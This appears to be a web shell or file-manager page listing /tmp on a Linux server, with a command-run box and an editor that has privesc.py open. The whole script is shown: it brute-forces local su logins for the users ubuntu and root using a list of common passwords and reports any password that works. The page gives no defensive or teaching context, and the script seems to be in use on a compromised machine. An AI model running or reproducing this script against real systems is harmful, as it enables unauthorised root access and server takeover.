/
tmp
/
/tmp
mkdir
upload
Name
Size
Mode
Actions
.font-unix/
-
1777
rm
.ICE-unix/
-
1777
rm
.X11-unix/
-
1777
rm
.XIM-unix/
-
1777
rm
snap-private-tmp/
-
0700
rm
sudowo/
-
0755
rm
systemd-private-5a043b57da6941359de1dbe24c66d6a4-chrony.service-mE8r1j/
-
0700
rm
systemd-private-5a043b57da6941359de1dbe24c66d6a4-ModemManager.service-PhDw3T/
-
0700
rm
systemd-private-5a043b57da6941359de1dbe24c66d6a4-polkit.service-3AIHPT/
-
0700
rm
systemd-private-5a043b57da6941359de1dbe24c66d6a4-systemd-logind.service-xTRzqO/
-
0700
rm
systemd-private-5a043b57da6941359de1dbe24c66d6a4-systemd-resolved.service-Ep5rg0/
-
0700
rm
tmp.eiRXbmnskC/
-
0700
rm
wt/
-
0755
rm
phpxltmpz2xA2H
0
0600
edit
dl
rm
privesc.py
989
0644
edit
dl
rm
Edit:
/tmp/privesc.py
(989B)
#!/usr/bin/env python3 import pty,os,sys,select,time cands=["vagrant","ubuntu","password","1234567","admin","root","changeme","nabawater","toor","123456","12345678","ubuntu123","P@ssw0rd"] for user in ["ubuntu","root"]: for p in cands: pid,fd=pty.fork() if pid==0: os.execvp("su",["su",user,"-c","id"]) out=b"" sent=False t0=time.time() while time.time()-t0<4: r,_,_=select.select([fd],[],[],0.3) if r: try: d=os.read(fd,4096) except OSError: break if not d: break out+=d if b"assword" in out and not sent: os.write(fd,(p+"\n").encode()); sent=True else: if sent and b"uid=" in out: break try: os.waitpid(pid,0) except: pass line=out.decode(errors="replace").replace("\r","") if "uid=" in line and "denied" not in line and "incorrect" not in line.lower(): print("SUCCESS",user,p,line.strip().splitlines()[-1]) sys.exit(0) print("no luck with wordlist")
Save
cmd:
run